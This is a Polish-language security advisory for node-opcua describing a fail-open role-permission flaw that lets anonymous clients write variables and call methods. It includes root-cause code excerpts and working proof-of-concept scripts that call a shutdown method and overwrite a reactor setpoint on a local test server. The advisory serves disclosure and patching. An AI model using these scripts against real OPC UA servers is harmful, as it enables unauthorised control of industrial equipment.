node-opcua: Namespace-Level RBAC Fail-Open - Anonymous Write/Call Bypass via Unbound `DefaultRolePermissions
Podsumowanie
Nieuwierzytelniony (Anonymous) klient może wykonywać operacje Write na chronionych zmiennych oraz Call na uprzywilejowanych metodach dla każdego węzła, który nie posiada jawnych uprawnień zdefiniowanych na poziomie węzła.
Wynika to z modelu dziedziczenia określonego w OPC UA Part 3, §5.2.9, gdzie węzły bez jawnego atrybutu RolePermissions dziedziczą DefaultRolePermissions przestrzeni nazw. OPC 10000-3 §4.8.3 nakazuje ewaluację typu default-deny (Bad_UserAccessDenied, gdy bity operacji nie są ustawione); natomiast node-opcua przyznaje wszystkie uprawnienia.
Główną przyczyną jest połączenie błędu autoryzacji typu fail-open oraz rozbieżności pomiędzy API konfiguracyjnym a ścieżką egzekwowania uprawnień w czasie wykonywania.
Konfiguracja podlegająca podatności
Niniejszy biuletyn obejmuje dwa przypadki o różnym stopniu ważności:
- Brak zadeklarowanych RolePermissions w jakimkolwiek miejscu – uprawnienia są rozwiązywane w sposób permisywny. Jest to udokumentowane zachowanie node-opcua dla serwera bez skonfigurowanej kontroli dostępu, więc nic nie zostaje pominięte. Warto to poprawić jako niebezpieczne domyślne zachowanie (CWE-1188), lecz nie stanowi to obejścia 9.1. Standardowy plik Opc.Ua.NodeSet2.xml zawiera DefaultRolePermissions bez Value, dlatego serwer bez zadeklarowanej polityki NIE jest narażony.
- Polityka jest zadeklarowana i po cichu ignorowana – metoda setDefaultRolePermissions() kończy się sukcesem i nic nie robi, więc administrator, który sądzi, że zablokował przestrzeń nazw, w rzeczywistości tego nie zrobił. Jest to rzeczywiste obejście zabezpieczeń i powód przyznania oceny CVSS 9.1. Wymaga ono, aby zadeklarowano wartość domyślną dla przestrzeni nazw. Wszystko poniżej opisuje przypadek 2, chyba że wskazano inaczej.
Analiza przyczyny źródłowej
Błąd 1 – getPermissionForRole(null) zwraca allPermissions (narusza regułę default-deny z §4.8.3)
Plik: packages/node-opcua-address-space/source/session_context.ts:151-153
function getPermissionForRole(rolePermissions: RolePermissionType[] | null, role: NodeId): PermissionFlag {
if (rolePermissions === null) {
return allPermissions; // null means "grant everything" to ANY role, including Anonymous
}
Gdy właściwa polityka przyjmuje wartość null, funkcja zwraca allPermissions (Read, Write, Call) dla dowolnej roli weryfikującej uprawnienia, w tym Anonymous. OPC 10000-3 §4.8.3 wymaga odwrotnego zachowania: "If they are not set the Server returns Bad_UserAccessDenied."
Błąd 2 – Wartość domyślna przestrzeni nazw przyjmuje wartość null na ścieżce egzekwowania uprawnień
Mechanizm egzekwowania w czasie wykonywania odczytuje węzły zmiennych DefaultRolePermissions / DefaultUserRolePermissions pod Server/Namespaces/<ns>. W każdej osiągalnej konfiguracji przyjmują one wartość null:
- Przestrzenie nazw wczytane z NodeSet2 (DI / ADI / dostawcy) dostarczają właściwość bez
Value(null). - Przestrzenie nazw tworzone programowo nie posiadają węzła
NamespaceMetadatapodServer/Namespaces, więc operacja wyszukiwania zwracanull.
Dodatkowo server_engine.ts:947-957 nadpisuje te węzły wartością o typie Null przy każdym initialize(), bez możliwości przywrócenia:
for (const ns of namespacesNode.getComponents()) {
const defaultRolePermissions = ns.getChildByName("DefaultRolePermissions") as UAVariable | null;
if (defaultRolePermissions) {
defaultRolePermissions.setValueFromSource({ dataType: DataType.Null });
}
}
Uwaga: wczytana wartość ma już postać
nullw standardowych zbiorach węzłów, więc ten reset zmienia jedynie znacznikdataTypewartości; nie jest to wyłączna przyczyna, ponieważ wartość domyślna przestrzeni nazw i tak wynosinull.
Błąd 3 – Dwie niespójne ścieżki egzekwowania
Istnieją dwie odrębne i odłączone od siebie ścieżki służące do ustalania domyślnych uprawnień przestrzeni nazw.
Ścieżka A (pole prywatne) – Namespace.setDefaultRolePermissions() zapisuje politykę wyłącznie do prywatnego pola JavaScript w namespace_impl.ts:
public setDefaultRolePermissions(rolePermissions: RolePermissionTypeOptions[] | null): void {
this.defaultRolePermissions = rolePermissions ? coerceRolePermissions(rolePermissions) : undefined;
}
Jest to wartość odczytywana przez lokalne metody dostępowe (np. BaseNodeImpl.getRolePermissions(inherited=true)).
Ścieżka B (węzeł UAVariable) – mechanizm kontroli dostępu w czasie wykonywania (Read/Write/Call) odpytuje węzeł UAVariable DefaultRolePermissions zamiast pola prywatnego (session_context.ts):
const defaultRolePermissions = uaNamespaceObject.getChildByName("DefaultRolePermissions") as UAVariable;
if (defaultRolePermissions) {
const dataValue = defaultRolePermissions.readValue();
if (dataValue?.statusCode.isGood()) {
return dataValue.value.value as RolePermissionType[] | null;
}
}
Ponieważ Ścieżka B odczytuje węzeł zmiennej, a Ścieżka A zapisuje pole prywatne, obie są rozbieżne. Ścieżka egzekwowania ustala domyślną wartość przestrzeni nazw na null, węzeł metadanych jest nieobecny (programowa przestrzeń nazw) lub ma wartość Null (przestrzeń nazw z nodeset), a zdefiniowane przez administratora pole setDefaultRolePermissions() nigdy nie jest sprawdzane. Wartość null wyzwala następnie zachowanie fail-open (Błąd 1).
Wynik pomiaru: po zastosowaniu
setDefaultRolePermissions([Operator]),namespace.getDefaultRolePermissions()zwraca politykę, podczas gdygetApplicableRolePermissions()zwracanull.
Synchronizacja pomiędzy obiema ścieżkami następuje wyłącznie wtedy, gdy administrator wywoła setNamespaceMetaData(), co wiąże pole z węzłem za pomocą bindVariable():
metaData.defaultRolePermissions?.bindVariable(
{
get: () =>
new Variant({
dataType: DataType.ExtensionObject,
arrayType: VariantArrayType.Array,
value: namespace.getDefaultRolePermissions()
})
},
true
);
Bez wywołania setNamespaceMetaData(), setDefaultRolePermissions() nie wywiera żadnego wpływu na autoryzację w czasie wykonywania. Co więcej, w przypadku przestrzeni nazw ładowanych z NodeSet2 wywołanie setNamespaceMetaData() rzuca wyjątek "INamespace meta data already exists" (PoC-C), zatem dla takich przestrzeni nazw w ogóle nie istnieje działający sposób aktywacji domyślnych uprawnień przestrzeni nazw.
Kroki w celu odtworzenia podatności
PoC-A – Poziom address-space (test jednostkowy, bez sieci)
Zapisz jako packages/node-opcua-address-space/test/test_poc_rbac_failopen.ts, a następnie uruchom:
cd packages/node-opcua-address-space
npx mocha ./test/test_poc_rbac_failopen.ts
import { makePermissionFlag } from "node-opcua-data-model";
import { PermissionType } from "node-opcua-types";
import { DataType } from "node-opcua-variant";
import should from "should";
import { type AddressSpace, makeRoles, type Namespace, SessionContext, WellKnownRoles } from "..";
import { getMiniAddressSpace } from "../testHelpers";
const _keep = should;
describe("PoC RBAC fail-open", () => {
let addressSpace: AddressSpace;
let namespace: Namespace;
before(async () => {
addressSpace = await getMiniAddressSpace();
namespace = addressSpace.getOwnNamespace();
});
after(() => addressSpace.dispose());
function anonymousContext(): SessionContext {
const ctx = new SessionContext();
ctx.getCurrentUserRoles = () => makeRoles([WellKnownRoles.Anonymous]);
return ctx;
}
it("A. CONTROL: per-node rolePermissions deny Anonymous", () => {
const secured = namespace.addVariable({
browseName: "SecuredWithNodePermissions",
dataType: DataType.Double,
accessLevel: "CurrentRead | CurrentWrite",
userAccessLevel: "CurrentRead | CurrentWrite"
});
secured.setRolePermissions([
{ roleId: WellKnownRoles.Engineer, permissions: makePermissionFlag("Read | Write") }
]);
const ctx = anonymousContext();
ctx.checkPermission(secured, PermissionType.Write).should.eql(false);
});
it("B. VULN: node relying on namespace-default -> Anonymous gets Write", () => {
const relyingOnDefault = namespace.addVariable({
browseName: "RelyingOnNamespaceDefault",
dataType: DataType.Double,
accessLevel: "CurrentRead | CurrentWrite",
userAccessLevel: "CurrentRead | CurrentWrite"
});
const ctx = anonymousContext();
const applicable = ctx.getApplicableRolePermissions(relyingOnDefault);
should(applicable).eql(null, "namespace default resolves to null (no namespace-metadata node)");
ctx.checkPermission(relyingOnDefault, PermissionType.Write).should.eql(true);
relyingOnDefault.isUserWritable(ctx).should.eql(true);
});
it("C. VULN: bound Method without per-node permission -> Anonymous can Call", () => {
const obj = namespace.addObject({ browseName: "PocObject", organizedBy: addressSpace.rootFolder.objects });
const method = namespace.addMethod(obj, {
browseName: "PrivilegedMethod",
inputArguments: [],
outputArguments: []
});
method.bindMethod((inputArguments, context, callback) => callback(null, { statusCode: 0 as any }));
const ctx = anonymousContext();
ctx.checkPermission(method, PermissionType.Call).should.eql(true);
method.getUserExecutableFlag(ctx).should.eql(true);
});
});
Wynik:
PoC RBAC fail-open
✓ A. CONTROL: per-node rolePermissions deny Anonymous
✓ B. VULN: node relying on namespace-default -> Anonymous gets Write
✓ C. VULN: bound Method without per-node permission -> Anonymous can Call
3 passing
PoC-B – End-to-end przez TCP (programowa przestrzeń nazw)
Zapisz jako packages/node-opcua/poc_b_e2e_rbac.js, a następnie uruchom node poc_b_e2e_rbac.js (dodaj --safe dla próby kontrolnej):
const {
OPCUAServer, OPCUAClient, DataType, AttributeIds, StatusCodes,
MessageSecurityMode, SecurityPolicy, UserTokenType,
WellKnownRoles, makePermissionFlag, setNamespaceMetaData
} = require("node-opcua");
const PORT = 48411;
const ENDPOINT = `opc.tcp://localhost:${PORT}`;
const SAFE_MODE = process.argv.includes("--safe");
let parentNodeId, methodNodeId, variableNodeId;
async function startServer() {
const server = new OPCUAServer({
port: PORT,
securityPolicies: [SecurityPolicy.None],
securityModes: [MessageSecurityMode.None],
allowAnonymous: true
});
await server.initialize();
const ns = server.engine.addressSpace.getOwnNamespace();
// Operator hardening: namespace-level RBAC, Anonymous excluded
ns.setDefaultRolePermissions([
{ roleId: WellKnownRoles.Operator, permissions: makePermissionFlag("Read | Write | Browse | Call") },
{ roleId: WellKnownRoles.AuthenticatedUser, permissions: makePermissionFlag("Read | Browse") }
]);
if (SAFE_MODE) {
setNamespaceMetaData(ns);
}
const device = ns.addObject({ browseName: "PlantDevice_01", organizedBy: server.engine.addressSpace.rootFolder.objects });
parentNodeId = device.nodeId;
const method = ns.addMethod(device, { browseName: "EmergencyShutdown", inputArguments: [], outputArguments: [] });
method.bindMethod((_in, _ctx, cb) => {
console.log("[server] EmergencyShutdown EXECUTED by anonymous caller");
cb(null, { statusCode: StatusCodes.Good, outputArguments: [] });
});
methodNodeId = method.nodeId;
const variable = ns.addVariable({
browseName: "ReactorSetpoint",
componentOf: device,
dataType: DataType.Double,
accessLevel: "CurrentRead | CurrentWrite",
userAccessLevel: "CurrentRead | CurrentWrite",
value: { dataType: DataType.Double, value: 350.0 }
});
variableNodeId = variable.nodeId;
await server.start();
console.log(`[server] Listening on ${ENDPOINT}`);
return server;
}
async function anonymousAttack() {
const client = OPCUAClient.create({
endpointMustExist: false,
securityMode: MessageSecurityMode.None,
securityPolicy: SecurityPolicy.None
});
await client.connect(ENDPOINT);
const session = await client.createSession({ type: UserTokenType.Anonymous });
console.log("[client] Anonymous session activated");
let callStatus;
try {
const r = await session.call({ objectId: parentNodeId, methodId: methodNodeId, inputArguments: [] });
callStatus = r.statusCode.toString();
} catch (e) { callStatus = e.message; }
let writeStatus;
try {
const r = await session.write({
nodeId: variableNodeId,
attributeId: AttributeIds.Value,
value: { value: { dataType: DataType.Double, value: 999.0 } }
});
writeStatus = r.toString();
} catch (e) { writeStatus = e.message; }
await session.close();
await client.disconnect();
return { callStatus, writeStatus };
}
(async () => {
const server = await startServer();
try {
const { callStatus, writeStatus } = await anonymousAttack();
console.log(`\nMode: ${SAFE_MODE ? "SAFE" : "VULNERABLE"}`);
console.log(`CALL EmergencyShutdown : ${callStatus}`);
console.log(`WRITE ReactorSetpoint : ${writeStatus}`);
const vuln = callStatus.includes("Good") || writeStatus.includes("Good");
console.log(vuln ? "\nVULNERABLE - Anonymous bypassed namespace RBAC" : "\nSAFE - RBAC correctly enforced");
} finally {
await server.shutdown();
}
})().catch(e => { console.error(e); process.exit(1); });
Wynik podatny (node poc_b_e2e_rbac.js):
[server] EmergencyShutdown EXECUTED by anonymous caller
Mode: VULNERABLE
CALL EmergencyShutdown : Good (0x00000000)
WRITE ReactorSetpoint : Good (0x00000000)
Wynik kontrolny (node poc_b_e2e_rbac.js --safe):
Mode: SAFE
CALL EmergencyShutdown : BadUserAccessDenied (0x801f0000)
WRITE ReactorSetpoint : BadUserAccessDenied (0x801f0000)
PoC-C – End-to-end przez TCP (przestrzeń nazw ładowana z NodeSet2: żadna konfiguracja przed tym nie chroni)
Zapisz jako packages/node-opcua/poc_c_nodeset_rbac.js, a następnie uruchom node poc_c_nodeset_rbac.js:
const {
OPCUAServer, OPCUAClient, DataType, AttributeIds, StatusCodes,
MessageSecurityMode, SecurityPolicy, UserTokenType,
WellKnownRoles, makePermissionFlag, setNamespaceMetaData, nodesets
} = require("node-opcua");
const PORT = 48412, DI_URI = "http://opcfoundation.org/UA/DI/";
let deviceId, methodId, variableId;
async function startServer() {
const server = new OPCUAServer({
port: PORT,
securityPolicies: [SecurityPolicy.None],
securityModes: [MessageSecurityMode.None],
allowAnonymous: true,
nodeset_filename: [nodesets.standard, nodesets.di]
});
await server.initialize();
const di = server.engine.addressSpace.getNamespace(DI_URI);
di.setDefaultRolePermissions([
{ roleId: WellKnownRoles.Operator, permissions: makePermissionFlag("Read | Write | Browse | Call") }
]);
try {
setNamespaceMetaData(di);
console.log("[server] hardening: metadata bound");
} catch (e) {
console.log("[server] hardening FAILED:", e.message);
}
const device = di.addObject({ browseName: "Pump01", organizedBy: server.engine.addressSpace.rootFolder.objects });
deviceId = device.nodeId;
const m = di.addMethod(device, { browseName: "Stop", inputArguments: [], outputArguments: [] });
m.bindMethod((_i, _c, cb) => {
console.log("[server] Stop() EXECUTED by anonymous");
cb(null, { statusCode: StatusCodes.Good, outputArguments: [] });
});
methodId = m.nodeId;
const v = di.addVariable({
browseName: "Setpoint",
componentOf: device,
dataType: DataType.Double,
accessLevel: "CurrentRead | CurrentWrite",
userAccessLevel: "CurrentRead | CurrentWrite",
value: { dataType: DataType.Double, value: 42 }
});
variableId = v.nodeId;
await server.start();
return server;
}
async function attack() {
const client = OPCUAClient.create({ endpointMustExist: false, securityMode: MessageSecurityMode.None, securityPolicy: SecurityPolicy.None });
await client.connect(`opc.tcp://localhost:${PORT}`);
const s = await client.createSession({ type: UserTokenType.Anonymous });
const call = (await s.call({ objectId: deviceId, methodId, inputArguments: [] })).statusCode.toString();
const write = (await s.write({ nodeId: variableId, attributeId: AttributeIds.Value, value: { value: { dataType: DataType.Double, value: 999 } } })).toString();
await s.close();
await client.disconnect();
console.log("CALL Stop() :", call);
console.log("WRITE Setpoint :", write);
}
(async () => {
const srv = await startServer();
try { await attack(); } finally { await srv.shutdown(); }
})().catch(e => { console.error(e); process.exit(1); });
Wynik:
[server] hardening FAILED: INamespace meta data already exists for http://opcfoundation.org/UA/DI/
[server] Stop() EXECUTED by anonymous
CALL Stop() : Good (0x00000000)
WRITE Setpoint : Good (0x00000000)
Wpływ
- Operacja Write dowolnych wartości do zmiennych (
CurrentWrite) kontrolowanych wyłącznie przez RBAC na poziomie przestrzeni nazw, np. wartości zadanych procesów czy parametrów bezpieczeństwa. - Operacja Call na powiązanych metodach. Metody nie posiadają drugiego stopnia weryfikacji AccessLevel;
executabledomyślnie przyjmuje wartośćtruedla powiązanych metod (ua_method_impl.ts). - Dotyczy każdego węzła opierającego się na dziedziczeniu
DefaultRolePermissionsprzestrzeni nazw wymaganym przez OPC 10000-3 §5.2.9. - Użytkownik Anonymous otrzymuje wszystkie uprawnienia
PermissionFlag, ponieważnullrozwiązuje się doallPermissions. - Wpływ na dostępność (A:H, CVSS 9.8) jest możliwy do osiągnięcia w każdym wdrożeniu wiążącym metodę, której wykonanie wpływa na dostępność (wyłączenie / restart / zarządzanie rolami); oceniono jako
A:Nze względu na zależność od wdrożenia.
Co NIE podlega podatności
Serwery, które nigdzie nie deklarują RolePermissions (przypadek 1): zachowanie permisywne zgodne z dokumentacją, nie stanowi obejścia zabezpieczeń. Oficjalny plik Opc.Ua.NodeSet2.xml zawiera DefaultRolePermissions bez Value i kwalifikuje się do tego przypadku.
- Węzły z jawnymi uprawnieniami
RolePermissionsdla danego węzła (prawidłowo egzekwowane – PoC-A przypadek A). - Tworzone programowo przestrzenie nazw, w których administrator wywołuje zarówno
setDefaultRolePermissions(), jak isetNamespaceMetaData()(PoC-B--safe). - Zmienne bez uprawnienia
CurrentWritew AccessLevel (wektor Call nadal ma zastosowanie do metod).
Proponowane rozwiązanie
- Fail-closed – funkcja
getPermissionForRole(null)powinna zwracaćPermissionFlag.None, a nieallPermissions(zgodnie z zasadą default-deny z §4.8.3). - Spójna ścieżka –
getApplicableRolePermissions()powinno korzystać znode.getRolePermissions(inherited=true), co poprawnie odczytuje pole przestrzeni nazw. - Bezpieczeństwo API – wywołanie
setDefaultRolePermissions()powinno bezpośrednio wpływać na egzekwowanie uprawnień, bez wymogu użyciasetNamespaceMetaData()(które rzuca błąd w przestrzeniach nazw ładowanych z nodeset). - Utwardzenie – funkcja
server_engine.ts:947-957nie powinna bezwarunkowo resetowaćDefaultRolePermissions.
Odniesienie do specyfikacji (zweryfikowane dosłownie z oficjalną specyfikacją OPC Foundation)
- OPC 10000-3 §4.8.3 - Evaluating Permissions with Roles: "If the bits corresponding to current operation are set, then the operation can proceed. If they are not set the Server returns
Bad_UserAccessDenied." (zasada default-deny, zachowanie, które błąd 1 odwraca). https://reference.opcfoundation.org/Core/Part3/v105/docs/4.8.3 - OPC 10000-3 §5.2.9 - RolePermissions: "If not specified, the value of
DefaultRolePermissionsProperty from theNamespaceMetadataObject associated with the Node shall be used instead." oraz "If a Server supports Permissions for a particular Namespace it shall add theDefaultRolePermissionsProperty to theNamespaceMetadataObject for that Namespace." https://reference.opcfoundation.org/Core/Part3/v105/docs/5.2.9 - OPC 10000-5 §6.3.13 - NamespaceMetadataType (definiuje
DefaultRolePermissions/DefaultUserRolePermissionsjako właściwości obiektuNamespaceMetadata). https://reference.opcfoundation.org/Core/Part5/v104/docs/6.3.13
Co trzeba zrobić
Zaktualizuj do wersji 2.180.0 lub nowszej.
Czego dotyczy
Kliknij technologię, aby zobaczyć wszystkie dotyczące jej podatności.
| Platforma | Paczka | Podatne wersje | Poprawka w wersji |
|---|---|---|---|
| Paczka npm | node-opcua | >= 2.42.0, < 2.180.0 | 2.180.0 |
| Paczka npm | node-opcua-address-space | >= 2.42.0, < 2.180.0 | 2.180.0 |
| Paczka npm | node-opcua-server | >= 2.42.0, < 2.180.0 | 2.180.0 |
Odnośniki
- https://github.com/node-opcua/node-opcua/security/advisories/GHSA-xggf-m53x-jc3f
- https://nvd.nist.gov/vuln/detail/CVE-2026-95860
- https://github.com/node-opcua/node-opcua/pull/1580
- https://github.com/node-opcua/node-opcua/commit/0261e873900800983c622e01120f484dc6063698
- https://github.com/node-opcua/node-opcua
- https://github.com/node-opcua/node-opcua/releases/tag/v2.180.0
- Wektor CVSS
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N- Słabość (CWE)
CWE-1188, CWE-285, CWE-636, CWE-863- Platforma
- npm
- Paczka
node-opcua, node-opcua-address-space, node-opcua-server- Ujawniono
- 10.11.2026
- Aktualizacja
- 11.11.2026 10:00
Źródła i licencje · Redakcja lub tłumaczenie: DockRay. Zachowano prawa źródeł i obowiązujące licencje.
OSV / GitHub Advisory Database - GHSA-xggf-m53x-jc3f - CC BY 4.0
Historia podatności: node-opcua
Wszystkie opisane podatności tej paczki (Paczka npm), od najnowszej. Widać, czy to jednorazowa wpadka, czy paczka, której trzeba pilnować.
- Wszystkich wpisów
- 7
- Pierwsza → ostatnia
- 08.2022 11.2026
- Bez poprawki
- 1
- Wykorzystywana w atakach
- 0
Rozkład istotności
- Krytyczna 1
- Wysoka 6
Ujawnienia w latach
- 2022: 3
- 2023: 0
- 2024: 0
- 2025: 0
- 2026: 4
-
node-opcua: Namespace-Level RBAC Fail-Open - Anonymous Write/Call Bypass via Unbound `DefaultRolePermissions ten wpis
Dowiedz się, które podatności dotyczą Twojej aplikacji
Po podłączeniu integracji DockRay i włączeniu raportowania oprogramowania DockRay porównuje zgłoszone wersje komponentów ze znanymi podatnościami i powiadamia o potwierdzonych dopasowaniach. Zakres zależy od obsługiwanej technologii i dostępnych biuletynów.